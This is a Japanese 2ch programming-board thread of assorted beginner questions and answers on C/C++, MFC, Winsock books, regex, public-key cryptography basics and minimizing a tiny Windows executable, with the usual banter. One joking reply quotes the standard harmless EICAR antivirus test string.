トップページ⇒tech
1001コメント266KB

***すれ立てるまでもない質問はここで 第60刷***

レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさんNGNG
ぐぐってから聞け。

前スレ
***すれ立てるまでもない質問はここで 第59刷***
http://pc5.2ch.net/test/read.cgi/tech/1095070402/
0002デフォルトの名無しさんNGNG
終了
0003 ◆FIcNi4f8js NGNG
ここは糞スレの乱立を防ぐためのスレじゃないの?
0004デフォルトの名無しさんNGNG
>>1
激しく乙
0005デフォルトの名無しさんNGNG
プログラム板雑談スレッド
http://pc5.2ch.net/test/read.cgi/tech/1071815622/l50

次スレ
http://pc5.2ch.net/test/read.cgi/tech/1065535118/l50
0006デフォルトの名無しさんNGNG
Visual C++ ネットワークプログラミング 基礎」
のような感じの名前で内容もそんな感じの内容な書籍でお薦めのものってありませんか?
Webサイトでも構いません。
0007デフォルトの名無しさんNGNG
>>6
VC++じゃなくてMFCの間違いじゃないの?
0008デフォルトの名無しさんNGNG
>>6
Winsock Programmer's FAQ
http://www.kt.rim.or.jp/~ksk/wskfaq-ja/index.html
0009デフォルトの名無しさんNGNG
>>6
カットシステムの
実践Windowsインターネットプログラミング
VC++.NETによるネットワークアプリ開発

http://bookweb.kinokuniya.co.jp/htm/4877830782.html
http://www.junkudo.co.jp/detail2.jsp?ID=0103374444
00106NGNG
>7,
MFCとは何でしょうか?なにぶん、何も知らないアホなもので、、、申し訳ないです。

>8,>9,
ありがとうございました。本は早速注文しました。Webは眺めています。
0011デフォルトの名無しさんNGNG
DirectX9.0のDirectShowで利用できる独自のエフェクトを作成しようと考えています。
最初は、再生するMPEGのRGB値を調整(例えば、R値を10だけ増やすとか)するエフェクトから
取り組んで生きたいと思っています。
参考になる書籍やウェブサイトをご存知の方がいらっしゃいましたら、教えて下さい。
0012デフォルトの名無しさんNGNG
>>11
スレ誘導です。
【C++】 DirectX初心者質問スレ 【C++】
http://pc5.2ch.net/test/read.cgi/tech/1084765853/
0013デフォルトの名無しさんNGNG
C++にインターフェースって無いんですか?無いとすると、
クラスAを継承したB,Cのビヘイビアhoge()を複数(B,C混合)まとめて実行したいときって
Aに空のhoge()を作ってB,Cでそれぞれオーバーライドして、
A型のポインタにB,C型の実体のアドレスをつっこんでfor文でpA[i]->hoge()って感じになるのでしょうか?

何言ってるかわかりづらくてすみません
0014デフォルトの名無しさんNGNG
>>13
実際に試してみてはどうか。
0015デフォルトの名無しさんNGNG
>>13
「C++ 仮想関数」でググッてみな。
0016デフォルトの名無しさんNGNG
お尋ねします!地球は宇宙の平和を守るリーダーではなかったのですか?
0017デフォルトの名無しさんNGNG
>>16
リーダーじゃない。
Kiddy Gradeみてみな。地球人は悪人ですから。
0018デフォルトの名無しさんNGNG
インターフェイスなんてしょぼい機能はC++には不要なのだよキミ
0019デフォルトの名無しさんNGNG
つか、「空のhoge()」ってのが純粋仮想関数のつもりなら、そうだ
必要なインターフェースを純粋仮想関数として定義したクラスを継承する
0020デフォルトの名無しさんNGNG
>>17
×地球人は
○ノーブルは
002113NGNG
>>14
もっといいやり方があるのかとも思いまして。コンパイル通らなかったし。
virtualで宣言して子で中身作ればよいのですね
>>14-19あたりの皆さん助かりました、ありがとうぞざいました
002217NGNG
そうノープルYO
その単語がでてこなかった。
Noblesse Oblige(ノブレスオブリッヂ)は出てきたんだけど
0023デフォルトの名無しさんNGNG
ノブレスオブリッヂ

貴族があーアイナかーいーよー垂れ目かーいー!とブリッジする様
0024デフォルトの名無しさんNGNG
>>23
それ・・・アイナブリッジ・・・
0025デフォルトの名無しさんNGNG
VB6.0で簡単なプログラム(テキストファイルを読んで加工するだけです。)
を作成し、win2000で動かしておりました。そこへSP4を適用したところ、
プログラムがまったく動かなくなってしまって、非常に困っています。
VBは、よくこういうことがあるのでしょうか。
こういったことは、VC+Win32でプログラムを作れば、起こりにくくできるのでしょうか。
申し訳ないですが、だれか教えていただけると幸いです。
0026デフォルトの名無しさんNGNG
VBは捨てるが吉
0027デフォルトの名無しさんNGNG
公開かぎ暗号方式がよくわかりません。

公開鍵で暗号化するらしいですが、それは何かソフトを使ってやるらしいですね。
暗号化された文章を、復号することがほぼ不可能との記述があったのですが、
どうも腑に落ちません。

自分には当然出来ないから良くわからないけど、
逆アセンブルとか言うのがありますよね?

それが出来る人たちにとっては、ソースを見てアルゴリズムを解読すれば何てことなく復号できそう
に思いますが、やはりそれは不可能な事なのでしょうか?


# また、図々しいっすけど、何か公開鍵暗号方式について、肌で体験できるような
 Webページとかどっか無いですか?
 あったら教えて欲しいです。オネガイシマス。
0028デフォルトの名無しさんNGNG
>>27
http://pc5.2ch.net/test/read.cgi/tech/1088530204/
0029デフォルトの名無しさんNGNG
>>28
一応見たけど、肌で体験できそうもないっす。
0030デフォルトの名無しさんNGNG
>>29
お前の頭がショボイだけだ
0031デフォルトの名無しさんNGNG
ひどいっす。
わかるなら意地悪しないで教えて欲しいっす><
しょぼい質問だけどお願いします。
0032デフォルトの名無しさんNGNG
ここは学校でもなんでもないからな
やる気のないガキに0から手取り足取り教える奇特なやつは、あまりいないだろう
0033デフォルトの名無しさんNGNG
う〜ん、そりゃおっしゃる通りで重々承知ですけど、どーもイメージが湧かないんですよね。
これでも”ショボイ頭”で勉強してるわけで。

いくら勉強しても、体験しないからわからない → じゃあ誰か知っている人に聞くしかない

こういう事も実際ありますでしょ?
暗号化なんて日常生活で自分は体験する機会は無いですし。
なんで、暗号化の手順を公開してるのに、復号が困難なのでしょうか。
秘密鍵より危険性が高い気がするんです。
 
0034デフォルトの名無しさんNGNG
>>33
そらぁ将棋のルールを知らずに将棋をやろうとしても、わけわからんわな
基本的な事くらいは身に付けてからにしないと、会話にすらならん
0035デフォルトの名無しさんNGNG
>>33
あれだ、そいんすうぶんかい とかだ
0036デフォルトの名無しさんNGNG
>>33
人に聞いても分からないんじゃない?
それに自分で体験したことと人から聞いたことって大差ない気がするんだが。


とりあえず、秘密鍵暗号方式は、
「非常に大きな数の素因数分解は計算量が膨大」っていう理屈に基づいて作られてる。
絶対に解けないんじゃなくて、解こうと思うと何十年もかかる。

秘密鍵方式の最大の問題は、どうやって鍵を相手に渡すかなのよ。
オフラインで鍵を手渡せるならいいんだけど、それだと用途が限られる。
だからたとえば、公開鍵暗号化方式で秘密鍵を暗号化して送って、
後は秘密鍵暗号化方式で通信するとかそういうことしてる。
0037デフォルトの名無しさんNGNG
すいません、公開鍵 仕組み でググったら沢山出て来ました・・・

まさに>>35の方が言ってるように素因数とかのヤツでした。
これは大変そうだ、とやっと実感。

>>36
そういう利点もあるというわけですね。
鍵の管理とか大変そうですもんね。どうも、長文書かせる羽目になってしまい、
すみません。頭よわいんで、ここはお許しを。

>>29>>32>>34
の方々もいろいろお騒がせしました。_| ̄|○
0038デフォルトの名無しさんNGNG
説明しても、内容を理解しようともせずに、大変そうだの一言で・・・
むちゃくちゃだな
0039デフォルトの名無しさんNGNG
映画CUBEに出てくるあのすごい奴なら何十年も掛かんないんだろうな。
その前にPCが扱えるかの方が問題在りそう。
0040デフォルトの名無しさんNGNG
close box, 最大化 box, 最小化 box のあるウインドウに bmp を表示して
いて、最大化 box をクリックすると、最大化されますが、同じ box をまた
クリックしても、元には戻りません。MDI です。close box 以外は default
処理に任せています。何かしないとダメなのでしょうか。
(MoveWindow() でも出ていて、WM_PAINT に対応していれば十分との理解で
 いました。WM_SIZE には対応しています)
0041デフォルトの名無しさんNGNG
FlashやDirector等のオーサリングツールでオブジェクトや文字の同期ってどうやってるんですか?
やっぱり、内部で時間軸があってそれに対応させてるんでしょうか?
0042デフォルトの名無しさんNGNG
マルチかよ
0043デフォルトの名無しさんNGNG
c++でゲーム作りの勉強してるのですが、(ゲームに限りませんが)ソース分割の仕方がよくわかりません
適当な部位を関数にして外に出すわけですけど、その中でも扱う変数をどう渡せばよいやら。
externでグローバル変数共有するのか、それとも引数ですべて(構造体で纏めたりして)渡すのか、
それともそこまで独立性のない部位は分けないものなのか。
今はmain.cpp/h、myclass.cpp/hの4ファイルという塩梅です
0044デフォルトの名無しさんNGNG
>>43
データ(変数)はなるべくそのクラス内で完結するように設計する。
0045デフォルトの名無しさんNGNG
>>43
C++の質問とは思えないような質問だな・・・。
0046デフォルトの名無しさんNGNG
>>43
//a.hpp
class A{
public :
A(int n) : n(n){}
void print();
private :
int n;
};

//a.cpp
#include "a.hpp"
void A::print() //A::が必要
{
cout<<n<<endl; //そのまま使える
}

と、簡単な例ですけどまず本を買って勉強した方が早い。
0047デフォルトの名無しさんNGNG
>>43
塩梅をただしく読めるやつがこの板にどれほどいるか・・・。
0048デフォルトの名無しさんNGNG
47 名前:デフォルトの名無しさん 投稿日:04/10/09 19:37:37
>>43
塩梅をただしく読めるやつがこの板にどれほどいるか・・・。
0049デフォルトの名無しさんNGNG
>>46
いや聞いてるのはクラスの書き方じゃないと思うが・・・。
myclass.cpp/hって書いてるからそのへんはわかってるだろ。
>>43
できるだけ>>44のようにしてあとは引数じゃないの?
0050デフォルトの名無しさんNGNG
つうかOOPを勉強しろと
0051デフォルトの名無しさんNGNG
<html>
<head>
<title></title>
<body>
<APPLET code="textBlueFire.class" width="400" height="200">


<PARAM name="txt" value="This is GAng.com's site....">

<PARAM name="red" value="0">
<PARAM name="green" value="0">
<PARAM name="blue" value="0">
<PARAM name="fsize" value="30">
<PARAM name="fp" value="80">
</APPLET>
</body>
</html>
とあるHTMLに貼り付けたんですけど、↑の"This is GAng.com's site"を
This is
GAng.com's site
と2段に分けて表示するにはどうすればいいですか?
0052デフォルトの名無しさんNGNG
>>51
Web プログラミング板かWeb 制作板行ってこい
0053デフォルトの名無しさんNGNG
DOSのプログラミングで
数値を1000万個くらい記憶させたいのですが、
どのようにするのが理想的でしょうか?
0054デフォルトの名無しさんNGNG
>>53
つまらんネタっぽいがファイルに吐け
0055デフォルトの名無しさんNGNG
数値1つに4バイト割り当ててバイナリファイルに読み書きし
0056 ◆FIcNi4f8js NGNG
核心の部分を故意に記述しない質問者も荒らしだろ。
しかも、他人を巻き込み無駄レスを大量発生させる。
0057デフォルトの名無しさんNGNG
>>56
お前もそうだよな。
0058デフォルトの名無しさんNGNG
圧縮ツールのみがあるとして、その圧縮ツールの圧縮方法を解析できれば自分で解凍ツールが作れますか?
0059デフォルトの名無しさんNGNG
できるかできないか自分で判断できないような奴には作れない。
0060デフォルトの名無しさんNGNG
すいません
0061デフォルトの名無しさんNGNG
暗号化について質問なのですが、暗号技術のスレは人がいないのでこちらで質問させてもらいます。
秘密鍵方式で暗号化の前後でサイズが変わらないようなものには
どのようなものがありますでしょうか。
0062デフォルトの名無しさんNGNG
>秘密鍵方式
意味がわかりません。しかもスレ違い。
0063デフォルトの名無しさんNGNG
そんなレベルの人には聞いていません。
0064デフォルトの名無しさんNGNG
ワンタイムパッド
0065デフォルトの名無しさんNGNG
>>62
俺も分からなかったんで調べてみたよ。公開鍵方式が発明されてから、
公開鍵方式以外の暗号化方式を秘密鍵方式と言うことがあるらしい。
0066デフォルトの名無しさんNGNG
>>61
HDDの合計容量
0067デフォルトの名無しさんNGNG
サイズが変わるものなら熟知してそうな口ぶりだな。
0068デフォルトの名無しさんNGNG
>>64
鍵が大きすぎるから実質サイズが膨れたようなもの
0069デフォルトの名無しさんNGNG
エニグマ
tp://www.infonet.co.jp/ueyama/ip/history/enigma.html
0070デフォルトの名無しさんNGNG
秘密鍵もしらんのかここの住人は
0071デフォルトの名無しさんNGNG
>>61
XORが有名
0072デフォルトの名無しさんNGNG
>>71
シーザー暗号の方がもっと有名
0073デフォルトの名無しさんNGNG
プログラミングソフトはvisual basic、C++等いろいろなのがありますがもっともおすすめするものは何ですか?
0074デフォルトの名無しさんNGNG
HSP
0075デフォルトの名無しさんNGNG
目的による。なにがしたい?
0076デフォルトの名無しさんNGNG
C++やBasic覚える前にjperl覚えろよ。enum定数一覧をswitchにぶち込みたいときはどうするよ。
0077デフォルトの名無しさんNGNG
プログラミングソフトってそれぞれ言語や使い方が違うだけであって結果的にはどんなソフトでも作ることが可能、というわけではないのですか?
0078デフォルトの名無しさんNGNG
>>77
藁でもレンガでも家は作れるが作る労力と家の頑丈さに差が出るというものだよ。
0079デフォルトの名無しさんNGNG
うまいたとえだ
0080デフォルトの名無しさんNGNG
そのbasic、C++、NETはそれぞれどういったソフトを作るときに適しているのでしょうか?
0081デフォルトの名無しさんNGNG
>>80
うっさいボケ
自分で調べろ
0082デフォルトの名無しさんNGNG
VCで作った、API一個呼び出してExitProcess(0)で終わるプログラムを限界まで
小さくしようと遊んでるのですが、これより小さくする方法はありますか?

最近使ったファイルを空にするプログラム
00000000〜000001F0: MZヘッダ、PEヘッダ、.textセクション
00000200: 2C 10 00 00 00 00 00 00 00 00 00 00 4A 10 00 00
00000210: 2C 10 00 00 34 10 00 00 00 00 00 00 00 00 00 00
00000220: 6C 10 00 00 34 10 00 00 00 00 00 00 3C 10 00 00
00000230: 00 00 00 00 58 10 00 00 00 00 00 00 7D 00 45 78
00000240: 69 74 50 72 6F 63 65 73 73 00 4B 45 52 4E 45 4C
00000250: 33 32 2E 64 6C 6C 00 00 36 00 53 48 41 64 64 54
00000260: 6F 52 65 63 65 6E 74 44 6F 63 73 00 53 48 45 4C
00000270: 4C 33 32 2E 64 6C 6C 00 6A 00 6A 02 FF 15 34 10
00000280: 40 00 6A 00 FF 15 2C 10 40 00 C3 00 00 00 00 00
0083デフォルトの名無しさんNGNG
>>82
FATのサイズ以下にしても意味無いぞ
0084デフォルトの名無しさんNGNG
よくできた人工無能だな。
反応速度も申し分ない。
0085デフォルトの名無しさんNGNG
よくできた人工無能だな。
反応速度も申し分ない。
008682NGNG
>>83
遊び、遊び。方法はないのかなぁって。
0087デフォルトの名無しさんNGNG
遊びならなおさら
自分で考えろよ
0088デフォルトの名無しさんNGNG
>>82
自己解凍型の圧縮プログラムを組み込んで、
実際のプログラムは圧縮しておく。実行時に展開して実行。
0089デフォルトの名無しさんNGNG
>>88
その自己解凍型の圧縮プログラムは何バイト?
0090デフォルトの名無しさんNGNG
TCPで多人数チャット的なものを作ったんですが、これをUDPでやるとしたら
サーバー側のn個のソケットと、n個のクライアントのソケットが1:1に対応してたのが
サーバー側の1個のソケットと、n個のクライアントのソケット
 っていう対応になるんでしょうか?
0091デフォルトの名無しさんNGNG
・・・・?
0092デフォルトの名無しさんNGNG
Rubyが日本生まれという事実を我々はもっと誇りに思うべき。
C++みたいな変態言語は駆逐されるべき。
Perlerやpythonianは殴殺さるべき。
0093デフォルトの名無しさんNGNG
嘘か誠か知らぬが以前耳にした所によるとカモーンRuby!オゥイェースRuby!アイムカミーングRuby!
って悦んでいる描写がないと「虐待ビデオだ」ということで逮捕されてしまうゆえに
恥じらい系とかレイプ物とかは出せないのだとか。音楽については知らないが。
0094デフォルトの名無しさんNGNG
今日も暑いな
0095デフォルトの名無しさんNGNG
RRRRRUUUUUUUUUUBBBB&TYYYYYYYYYYY!!!!!!!!!!!!!!
0096デフォルトの名無しさんNGNG
.       ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄
       (;´Д`)< スンマセン、直ぐに片付けます
  -=≡  /    ヽ  \_______
.      /| |   |. |
 -=≡ /. \ヽ/\\_
    /    ヽ⌒)==ヽ_)= ∧_∧
-=   / /⌒\.\ ||  ||  (´・ω・`)
  / /    > ) ||   || ( つ旦O←ruby厨
 / /     / /_||_ || と_)_) _.
 し'     (_つ ̄(_)) ̄ (.)) ̄ (_)) ̄(.))
009782NGNG
>>87
自分で考えてあのざまなので、ちとお知恵拝借願いたい。
>>88
UPXみたいなやつ? かなり膨れ上がるかと。
0098デフォルトの名無しさんNGNG
dos上で C言語 を使用して
msecの時間を表示したいのですが、
どのようにすればよいでしょうか?
0099デフォルトの名無しさんNGNG
DOSスレ池
0100デフォルトの名無しさんNGNG
RGB値をHLV値に変換する式ってどんな式ですか?
ググってもHSVしかひっかかんなくて…orz
0101デフォルトの名無しさんNGNG
なぜアプリケーションサーバはJava対応が多いのでしょうか。
C, C++, Perl, PHPには対応しないのでしょうか。
0102デフォルトの名無しさんNGNG
>>100
HLVなんていろ空間あったっけ?
HLSの間違い?
0103デフォルトの名無しさんNGNG
ガトーを宇宙にあげたいんだよ
0104100NGNG
>>102
すいません、HLSの間違いでした…
逝ってきます
0105デフォルトの名無しさんNGNG
>>82

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

こんなのが欲しいのかな?
0106デフォルトの名無しさんNGNG
MSN Messenger や Windows Messenger のメニューの「操作」に自分の
アプリケーションを追加して、メンバリストの人間を招待し、アプリケーション側で
IPとか取得する方法が出てる資料ってどこにある? なかなかない_| ̄|○
0107デフォルトの名無しさんNGNG
>>104
ttp://www.cvl.iis.u-tokyo.ac.jp/~miyazaki/tech/tech01.html
よくみないと間違いもあるが
010882NGNG
>>105
残念ながら自分の求めるものとは違うようで…

どこかでMessageBoxを呼ぶ233バイトのexeを見たんだけど…
0109デフォルトの名無しさんNGNG
ActiveServerPagesでクライアントコンピュータのローカルIPアドレスを取得する方法はないでしょうか?
Response.Write(Request.ServerVariables("REMOTE_HOST"))
だとクライアントコンピュータのローカルIPにNATされているグローバルIPしかとれません。

例:ローカルIPアドレス 192.168.1.1
  グローバルIPアドレス 222.111.33.4
  の時に 192.168.1.1 の値をサーバ側で取得したい
0110デフォルトの名無しさんNGNG
それはセキュリティ上できちゃうとあんまりよろしくなくないか?
0111デフォルトの名無しさんNGNG
サーバ側が欲する理由がない。
何に使うの?
0112デフォルトの名無しさんNGNG
ここの板の過去ログのhtml化はもう行われないんですか?
0113デフォルトの名無しさんNGNG
ここでこのような質問をするのは失礼かも知れませんが、よろしかったら助言を下さい。
大学のアルゴリズムやシステム工学などの講義はプログラマーになるために必要ですか?
当方、工学部志望の受験生です。
0114109NGNG
レスありがとうございます。
ローカルIPとグローバルIPの組み合わせによって表示するページを変えたいのです。

例:192.168.1.1 & 222.111.33.4 -> www.hoge.com/page1.asp
192.168.1.2 & 222.111.33.4 -> www.hoge.com/page1.asp
192.168.2.1 & 222.111.33.4 -> www.hoge.com/page2.asp
192.168.1.1 & 222.111.55.6 -> www.hoge.com/page3.asp

0115デフォルトの名無しさんNGNG
>>114
その実在しているアドレスである hoge.com はあなたが管理しているアドレスですか?
よく勝手に使っている人がいますが迷惑とは感じませんか?
0116デフォルトの名無しさんNGNG
>>113
あなたの言うプログラマーとは何ですか?
0117デフォルトの名無しさんNGNG
>>113
○知うぜぇ。
0118デフォルトの名無しさんNGNG
>>114
サーバ側からはローカルIPは見えないからそれはできない。
それにNAT等の仕組みを考えると
仮にその動作ができたとしても期待する動作をしない場合があるよ。

そういうことをやるなら、
クッキーに情報を仕込んでやるのが一般的だと思うけど、
それじゃ駄目なの?
0119デフォルトの名無しさんNGNG
>>108
マシン語大研究
ttp://hp.vector.co.jp/authors/VA015412/
0120デフォルトの名無しさんNGNG
質問です。
ソースコードの
""の文字列の部分を
_T()で囲みたいのですが、正規表現が良く判らない為一括置換が出来ません。
どのようにすれば良いのでしょうか?

"*"
_T("*")
だと上手く行きませんでした。
0121デフォルトの名無しさんNGNG
>>115
使われるのが迷惑だと思う人は、そのアドレスを取得しないであろうw
0122109NGNG
レスくださった皆さんありがとうございます。

私もいろいろググってみたりMSDNのページで調べたのですが無理のようですね。
「今からあなたのローカルIP取りますよ」って明示するActiveXコントロール作って対応してみようとおもいます。
0123デフォルトの名無しさんNGNG
>>120
".*"
* は手前の1文字の連続だから"*"だと "の2文字以上連続になる。
0124デフォルトの名無しさんNGNG
>>120
".*?"
_T("\1")
でどう?正規表現ひさしぶりであってるかわからないけど
0125124NGNG
"(.*?)"
_T("\1")
括弧忘れてた
0126デフォルトの名無しさんNGNG
>>120
"[^"]*"
_T("\1")
0127デフォルトの名無しさんNGNG
>>124-126
_T()で囲みたいということからC/C++の文字列だと思われる。
\でエスケープできるからそんなに単純じゃない。

"((\\.|[^"])*)"

とかか?
0128デフォルトの名無しさんNGNG
>>114
例として使ってよいアドレスは
RFC2606で定義されているので、そちらを使え
0129デフォルトの名無しさんNGNG
>>126-127
*の後に?を付けないと最長一致になるから
"123","456"のときに
_T("123","456")にならないか?
0130デフォルトの名無しさんNGNG
XPなんですが、C言語で画面のテキストを消去するのは
printf( "\033[2J" ) ;
ではできないのですか?ソフトはマイクロソフトのコンパイラです
0131デフォルトの名無しさんNGNG
Cygwin使え
0132デフォルトの名無しさんNGNG
>>130
コンソールアプリかWindowアプリか?
MSのCコンパイラだって色々あんだから、名前とバージョンくらい書け
答えもかわってくる
0133デフォルトの名無しさんNGNG
単にDOS窓がエスケープシーケンスを処理しないってだけだろ
0134130NGNG
Windowアプリで verは6.00です。
おねがいします。
0135デフォルトの名無しさんNGNG
この手の質問が多いのは古い本で勉強しつつ
新しいOSでやってるから?
0136デフォルトの名無しさんNGNG
おじさんは どうして おちんちんが ふくらんでるの?
0137デフォルトの名無しさんNGNG
順番から言ったら
(dos)コンソールが使える→バッチが使える→Cを勉強する。
(unix)シェルが使える→シェルスクリプトが使える→Cを勉強する。
0138デフォルトの名無しさんNGNG
今はいきなり

Cを勉強する。

だからなぁ
0139デフォルトの名無しさんNGNG
「言語を勉強する」という表現をするのはせいぜい専門学校生じゃない?
0140デフォルトの名無しさんNGNG
>>135
XPのDOS窓がデフォルトではエスケープシーケンスを処理しなくなったから
0141デフォルトの名無しさんNGNG
順番からいったら
アセンブラが使える→Cを勉強する→OSを勉強する
だったけど
0142デフォルトの名無しさんNGNG
ひつこい!
0143デフォルトの名無しさんNGNG
質問です。
MFCのRadioButton(Yes/Noの項目だけ)の質問なのですが、
最初に、呼び出される(自分で作成した)関数内で、全てをDefault位置(ここではYes)にした後
別の関数を呼び出し、そこでtxtファイルから読み込んできて任意の位置へ移動させます。
後から呼び出して変更する部分で、何故か上手く画面に反映されません。
MFCはコントロールのポインタ(?)を勝手に開放すると言う話を聞いたのでこれが原因ではないかと思うのですが・・・

ちなみに、最初の関数でNoをDefault値にした場合、両方選択されないことになります。(各メンバ変数は何度もチェックしたので間違っては無いと思うんですが・・・


どうにかならないのでしょうか?
ちなみに、
UpdateData(FALSE);
とか読んでみましたが、ムダでした。

0144デフォルトの名無しさんNGNG
別のダイアログからアクセスしてたりしないか?
してるなら、
DoDataExchange(CDataExchange* pDX)
の所に
DDX_Control(pDX, IDD_PROPPAGE_LARGE, m_Page1);
こんな感じでダイアログをコントロールさせ
DDX_Control(pDX, IDC_BUTTON1, m_Button1);
とか言う感じで、全部任せたらどうよ?

0145デフォルトの名無しさんNGNG
次回からこっちに質問してれよ
■ MFC相談室 MFC12.dll■
ttp://pc5.2ch.net/test/read.cgi/tech/1096848771/
0146デフォルトの名無しさんNGNG
>>144
ちょっと待て、何でPropertyページが出てくる
そいつは、ノンサポートだぜ?
An unsupported operation was attempted.
と出て終わると思われ。

つーか、MFCでそういう処理は仕様上無理なんじゃないかな・・・
俺も昔その辺で挫折して、MFC嫌いになった覚えがある。
なんで勝手にコントロールやダイアログへのアクセス手段を変更するかなぁ・・・
0147デフォルトの名無しさんNGNG
つか >>143 の文章読んで理解できる?
暇なんで試してみようと思ったけど、文章が理解できなくて挫折した。
0148デフォルトの名無しさんNGNG
たぶんボタンの値じゃなくて状態を設定すればよいかと
0149デフォルトの名無しさんNGNG
LHAの自己解凍書庫のような「実行ファイルが自分自身を読み出してなにやかやする」
プログラムは、いったんリリースの際と同じ状況でコンパイルしてできた実行ファイルの
サイズを調べてseekするオフセットを決め打ちにするのだろうか?
0150デフォルトの名無しさんNGNG
ダイアログウィンドウを作ってクローズボックス作ったりするときの質問はここでいいでしょうか
0151デフォルトの名無しさんNGNG
>>149
EXEのヘッダ見てたりする。
0152デフォルトの名無しさんNGNG
>>150
APIスレかMFCスレかで聞け。
0153デフォルトの名無しさんNGNG
IWebBrowser2に関する質問ってどこですればいい?
0154デフォルトの名無しさんNGNG
>>153
昔 IE コンポスレがあったけど今はもうない。
0155デフォルトの名無しさんNGNG
どのスレに行けばいいか振り分けてくれるスレって専用でないんですか?
0156デフォルトの名無しさんNGNG
>>155
ここがそうだ。
0157デフォルトの名無しさんNGNG
アルファベットの使用頻度
http://etc3.2ch.net/test/read.cgi/entrance/1097511923/l50

ラウンジに変な暗号みたいなの考えてるやつがいる
誰か支援してきたら?
0158デフォルトの名無しさんNGNG
>>155
君が立てなはれ。
0159デフォルトの名無しさんNGNG
>>157
なにげに良スレだな
0160デフォルトの名無しさんNGNG
>>143
うちの環境(WinXP + VC++6.0)ではこれで問題なく動くけど。
こういう事じゃないんですか?
Radioボタンはちゃんとグループ化してますか?

int CRadioDlg::LoadIndex(void)
{
CStdioFile f;
CString s;

if(!f.Open("index.txt", CFile::modeRead | CFile::typeText)){ return -1; }
f.ReadString(s);
f.Close();
return atoi(s);
}

void CRadioDlg::OnButton1()
{
m_index = 0; //一応初期化
UpdateData(FALSE);

m_index = this->LoadIndex();
UpdateData(FALSE);
}
0161157NGNG
>>159
1が中学生じゃなかったらもっと両スレになってた気がするんだよな
この暗号中々面白いから今日の昼休みに書いてみるよ
プリンターで表の画像印刷して
0162デフォルトの名無しさんNGNG
>>157
もしかして
http://etc3.2ch.net/test/read.cgi/entrance/1097511923/94
のひとですか?
0163157NGNG
>>162
俺は違う
そのプログラマほんとやる気あんのかな
明日もこのスレのぞいてみるけど

即死とかって大丈夫だったよな?
0164デフォルトの名無しさんNGNG
>>163
自作自演だったようだね
0165157NGNG
>>164
マジ?リロードしてみる
ここの>>1はプログラム書けないみたいだな
ほんとに友達いるのか??って思った
0166デフォルトの名無しさんNGNG
すみません、ラウンジのゴミがご迷惑かけます
こちらで処理しますから・・・
0167デフォルトの名無しさんNGNG
よそいけ
0168デフォルトの名無しさんNGNG
ただ今大学3年です。
Delphi6 personalを使っていて
非常に気に入っているのですが、
このままDelphi *だけ*しか知らずにいくと、
就職する際にきついでしょうか?
(もちろんプログラマになる場合の話です)

多少C++やJAVAも分かりますが、
もし就職先が極端に狭まるようでしたら、
他の言語もちゃんと勉強しようと
思っている次第です。

どうかこの世間知らずにアドバイスを下さい :-)
0169デフォルトの名無しさんNGNG
きつい
0170デフォルトの名無しさんNGNG
というか
0171デフォルトの名無しさんNGNG
それじゃ
0172デフォルトの名無しさんNGNG
絶対に
0173デフォルトの名無しさんNGNG
ぬるぽ
0174デフォルトの名無しさんNGNG
がっ
0175デフォルトの名無しさんNGNG
就職してから覚えても良い。
0176デフォルトの名無しさんNGNG
>>168
仕事により臨機応変に道具を使い分けられる能力のほうが大事。
それはつまり理解力。多言語を理解できるなら大丈夫。(「知っている」ではなく)
0177デフォルトの名無しさんNGNG
えたおいんしゃどるー
0178デフォルトの名無しさんNGNG
>>168
プログラマの8割は就職してから初めてプログラミングの勉強をする
0179デフォルトの名無しさんNGNG
すみません質問です

char* itostr(int i){
static char str[20];
sprintf(str, "%d", i);
return str;
}

はstaticなcharのポインタを返すのですが外部からこの変数を参照することはよくないんじゃないかと思うのですが
この使い方はいいんでうか?
0180デフォルトの名無しさんNGNG
逆だろ、staticだから構わない。
一つのリソースを使いまわしてる事に気をつければ桶。
0181デフォルトの名無しさんNGNG
不揮発性のローカル変数って考えてたんですけど違いましたか orz
ローカル以外からも参照OKってことですね
0182デフォルトの名無しさんNGNG
ローカルがどうとかのアクセス権じゃなく、変数の寿命で考えろー
0183デフォルトの名無しさんNGNG
staticな変数に外からアクセスできるようにするのは個人的には嫌いだな
>>179でいけば、itostrが俺。strが嫁みたいな気分
外から来た連中に好き勝手にいじられるような状態は気分が悪い
独占欲が強い俺は商売女とでも言うべき一時メモリ割り当てをあてがってます
0184デフォルトの名無しさんNGNG
使い分けろ
0185デフォルトの名無しさんNGNG
まぁその変は好みだから自分の好きにすればいいところだな。
179の「よくないんじゃないか」の意味が183のようなことなら
そういう設計にすればいいよ。

いわゆるうまく動いているように見えるけど実は危険なことをしている
ってわけではないわけで。
0186179,181NGNG
とくに悪くなさそうなので>>179でいくことにします
ありがとうございました
0187デフォルトの名無しさんNGNG
printf("%s %s", itostr(1), itostr(2))
で破綻する。マルチスレッドでも破綻する。
0188デフォルトの名無しさんNGNG
180でも注意されてる事だろーが
0189デフォルトの名無しさんNGNG
俺ならこう書くかな・・・?
char* itostr( int i, char* lpdststr ){
 sprintf( lpdststr, "%d", i );
 return lpdststr;
}
変数は呼出元もち。長さのチェック入れてないけど、これは>>179も同じだしキニシナーイ
0190デフォルトの名無しさんNGNG
intが32bitなら10進表現は
0191179NGNG
intでの長さなんて計算で最大の桁が出せるのでしていません
別の変数をクッションしなくても文字で扱えるのがみそなのでポインタで受け取っては意味がないので>>189は却下にだ
調子にのりましたごめんなさい
>>187勉強になりました
0192デフォルトの名無しさんNGNG
文字列バッファをどっちに持つかという判断がCで一番ストレスたまるよ・・・
厳密さ、お手軽さ、安全さ、汎用性とかいろいろ考えないといけないから
ほんとCって糞だな
0193デフォルトの名無しさんNGNG
考える余地もない環境よりマシだ
0194デフォルトの名無しさんNGNG
>>191
>>189のやり方なら、文字列へのポインタを戻り値として返してるので、
多分君が望んでる
if ( strlen ( itostr ( i ) ) )
みたいなこともできるっしょ?
char tmpstr[20];
とかを前もって宣言しておいて、
if ( strlen ( itostr ( i, tmpstr ) ) )
とすればいいだけだし

>>187の例も、
char tmpstr[20], tmpstr2[20];
printf ( "%s %s", itostr ( 1, tmpstr ), itostr ( 2, tmpstr2 ) );
ってできるしね
0195デフォルトの名無しさんNGNG
test
    test
        test
0196デフォルトの名無しさんNGNG
>>194
char *でしたか・・・注意力不足でした orz
>>189さん、ごめんなさい
0197デフォルトの名無しさんNGNG
タブは今までは消されてたのにインデントするようになってるよ!!すげー!!
0198デフォルトの名無しさんNGNG
